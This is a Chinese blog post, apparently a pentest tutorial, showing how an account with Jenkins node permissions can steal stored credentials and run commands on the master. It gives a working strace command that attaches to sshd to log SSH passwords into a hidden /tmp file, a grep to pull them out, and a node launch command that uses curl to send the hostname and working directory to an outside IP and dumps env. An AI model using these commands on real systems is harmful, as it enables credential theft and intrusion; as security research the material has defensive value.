Jenkins :添加node权限获取凭据、执行命令

拥有Jenkins agent权限的账号可以对node节点进行操作,通过添加不同的node可以让流水线项目在不同的节点上运行,安装Jenkins的主机默认作为master节点。

1.Jenkins 添加node获取明文凭据

通过添加node节点,本地监听ssh认证,选则凭据(明文)进行ssh认证,拿到密码。

1.新建节点-manage nodes功能

2.填写工作目录,选择通过SSH进行远程节点身份认证,选择抓取带*号的凭据,host key选择不进行验证:

3.主机监听:这里监听主机ssh使用的是strace后门,实际也可以使用其他方式进行:

复制代码
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &)

4.保存节点配置, Jenkins将对主机进行ssh请求:

node节点认证日志(账号密码方式):

  1. 查看接受结果,这种方式获得的密码需要自行判断下起始位置

    grep -E 'read\(6, ".+\0\0\0\.+"' /tmp/.sshd.log

2.通过添加节点执行命令

同样的,在添加节点时可以配置在master上执行命令去进行其他节点认证,也就可以在master上执行恶意命令了。

注意:这里执行curl命令时不能使用````````直接执行系统命令,所以利用时需要更换其他方式。

复制代码
curl -k ip:9090/`hostname`/`pwd`
env

添加节点时也可以从控制器执行命令,Launch method 选择 通过在master上执行命令的方式:

保存然后launch agent:

可以在Log里面看到命令env的输出:

相关推荐
一切皆是因缘际会1 分钟前
2026年AGI突围:自主智能体驱动,数字生命从架构落地到自我迭代全解析
人工智能·深度学习·机器学习·架构·系统架构·agi
努力学习_小白4 分钟前
SE注意力机制——学习记录
pytorch·python·深度学习
风味蘑菇干5 分钟前
继承 + static + final 综合应用
java·开发语言
AI棒棒牛8 分钟前
RT-DETR最新创新改进系列:2D轻量解码结构重塑检测颈部,减少下采样链路,降低计算冗余,让端到端检测更快更轻!【轻装上阵,实时优先】
人工智能·深度学习·目标检测·计算机视觉·rt-detr
Rkgua10 分钟前
路径传参和查询传参和请求体传参区以及Vue和React的用法区分
前端·面试
JarvanMo10 分钟前
Flutter + Supabase 集成 Apple Sign-In 完整指南
前端
冰西瓜60014 分钟前
深度学习的数学原理(三十四)—— Transformer 解码器完整实现
人工智能·深度学习·transformer
li星野16 分钟前
二分查找六题通关:从标准模板到旋转数组(Python + C++)
java·c++·python
Trouville0119 分钟前
学习tips:一些可以持续学习的网络体系教程
python·深度学习
fengci.22 分钟前
CTF+随机困难部分
android·开发语言·网络·安全·php